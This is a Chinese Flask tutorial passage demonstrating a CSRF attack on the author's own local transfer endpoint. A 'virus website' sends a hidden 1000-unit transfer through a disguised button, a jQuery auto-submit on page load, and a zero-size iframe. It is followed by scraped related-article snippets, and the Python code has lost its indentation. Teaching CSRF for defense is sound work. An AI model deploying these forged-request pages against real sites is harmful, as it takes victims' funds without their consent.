准备一个页面或图片,用于用户访问

一:表单方式

视图

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html') if __name__ == '__main__':
app.run(debug=True)

页面代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
<form action="http://127.0.0.1:5000/transfer/" method="post"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
<tr>
<td></td>
<td><input type="submit" value="开始游戏"></td><!--转账按钮-->
</tr>
</tbody>
</table>
</form>
</body>
</html>

数据库的情况

确保有cookie信息

用户点开始游戏

再看数据

二:js方式

自动提交转账的页面

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
</head>
<body>
<form action="http://127.0.0.1:5000/transfer/" method="post" id="myform"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
</tbody>
</table>
</form>
<script>
$(function () {
$('#myform').submit(); //访问页面就自动提交代码
});
</script>
</body>
</html>

视图

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html') @app.route('/transfer/')
def transfer():
return render_template('transfer.html') if __name__ == '__main__':
app.run(debug=True, port=8888)

提供给用户访问的页面

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
<!--因为转账有响应的页面,所以使用iframe将其网页在当前页面加载为子页面,并把宽和高都设为0,用户就察觉不到了-->
<iframe src="{{ url_for('transfer') }}" frameborder="0" width="0" height="0"></iframe>
</body>
</html>

数据库信息

用户访问页面

数据库信息

六十四:CSRF攻击与防御之系统准备之病毒网站转账实现的更多相关文章

  1. 六十三:CSRF攻击与防御之系统准备之登录与转账功能

    登录功能 在forms里面添加验证 class LoginForm(Form): email = StringField(validators=[Email(message='邮箱格式错误')]) p ...

  2. 六十二:CSRF攻击与防御之系统准备之注册功能

    CSRF攻击原理: 配置信息 import osSQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:123456@127.0.0.1:3306/test'S ...

  3. Gradle 1.12用户指南翻译——第六十四章. 发布到Ivy(新)

    其他章节的翻译请参见:http://blog.csdn.net/column/details/gradle-translation.html翻译项目请关注Github上的地址:https://gith ...

  4. SpringBoot进阶教程(六十四)注解大全

    在Spring1.x时代,还没出现注解,需要大量xml配置文件并在内部编写大量bean标签.Java5推出新特性annotation,为spring的更新奠定了基础.从Spring 2.X开始spri ...

  5. 第三百六十四节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的mapping映射管理

    第三百六十四节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的mapping映射管理 1.映射(mapping)介绍 映射:创建索引的时候,可以预先定义字 ...

  6. “全栈2019”Java第六十四章:接口与静态方法详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  7. 孤荷凌寒自学python第六十四天学习mongoDB的基本操作并进行简单封装3

    孤荷凌寒自学python第六十四天学习mongoDB的基本操作并进行简单封装3 (完整学习过程屏幕记录视频地址在文末) 今天是学习mongoDB数据库的第十天. 今天继续学习mongoDB的简单操作, ...

  8. 六十五:CSRF攻击与防御之CSRF防御之form表单防御

    防御原理,将csrf_token放到session中,再将session放到cookie中 实现: from flask_wtf import CSRFProtect # flask_wtf 已经提供 ...

  9. OpenCV开发笔记(六十四):红胖子8分钟带你深入了解SURF特征点(图文并茂+浅显易懂+程序源码)

    若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...

随机推荐

  1. three.js之元素周期表

    <html><head> <title>three.js css3d - periodic table</title> <meta charset ...

  2. 1.python环境安装

    一:安装Python与环境配置 二:安装pip 三:Anaconda安装和使用 3.1 什么是 Anaconda? Anaconda是专注于数据分析的Python发行版本,支持 Linux, Mac, ...

  3. 1.Shell脚本

    1.Shell脚本 可以将Shell终端解释器当作人与计算机硬件之间的“翻译官”,它作为用户与Linux系统内部的通信媒介,除了能够支持各种变量与参数外,还提供了诸如循环.分支等高级编 程语言才有的控 ...

  4. opencv,用摄像头识别贴片元件的定位和元件的角度(转载)

    经过半个月学习opencv有点小成果,用摄像头识别贴片元件的定位和元件的角度(转载) (2013-04-17 16:00:22) 转载▼   分类: 学习笔记 先说一下开源的opencv真是一件伟大的 ...

  5. 内核模式构造-Mutex构造(RecursiveAutoResetEvent)

    internal sealed class RecursiveAutoResetEvent : IDisposable { private AutoResetEvent m_lock = new Au ...

  6. PAT乙级1011

    题目链接 https://pintia.cn/problem-sets/994805260223102976/problems/994805312417021952 题解 很明显这题是考数值范围的,i ...

  7. js swal()弹出框

    做前端开发的时候时常会遇到修改成功.新增成功这类弹出框,用alert的话未免有点太low了,而swal()是一个简单又实用的弹出框方法 alert 弹出框样式如下: swal() 弹出框样式如下: 代 ...

  8. Hadoop-No.8之时间戳

    要获得良好的HBase的模式设计,要正确的理解和使用时间错.在HBase中,时间戳的作用如下所述. 时间戳决定了在put请求修改记录时那些记录更新 时间戳决定了一条记录的多个版本在返回时的排序 时间戳 ...

  9. Java-JDBCUtil工具类

    import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import ja ...

  10. 洛谷P3810-陌上开花(三维偏序, CDQ, 树状数组)

    链接: https://www.luogu.org/problem/P3810#submit 题意: 一个元素三个属性, x, y, z, 给定求f(b) = {ax <= bx, ay < ...